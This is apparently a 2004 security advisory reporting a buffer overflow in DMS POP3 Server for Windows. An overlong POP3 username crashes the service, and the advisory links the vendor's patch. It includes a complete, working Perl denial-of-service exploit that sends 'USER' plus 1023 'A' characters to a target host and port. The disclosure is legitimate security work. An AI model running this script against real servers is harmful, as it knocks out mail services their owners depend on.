Date: 18 Nov 2004 18:43:08 -0000
From: Reed Arvin <reedarvin@gmail.com.>
To: [email protected]Subject: Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions.
Summary:
A buffer overflow exists in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 (http://www.digitalmapping.sk.ca/pop3srv/default.asp) and prior versions.
Details:
A buffer overflow occurs during the POP3 authentication process when an overly long username is supplied. When the username buffer is overflowed successfully the DMS POP3 Service dies resulting in a denial of service.
Vulnerable Versions:
DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions
Solutions:
The vendor has provided a patch to fix this issue:
http://www.digitalmapping.sk.ca/pop3srv/Update.asp
Exploit:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
# DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";
sleep(1);
print $socket "USER " . "A" x 1023;
close $socket;
sleep(1);
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
close $socket;
print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
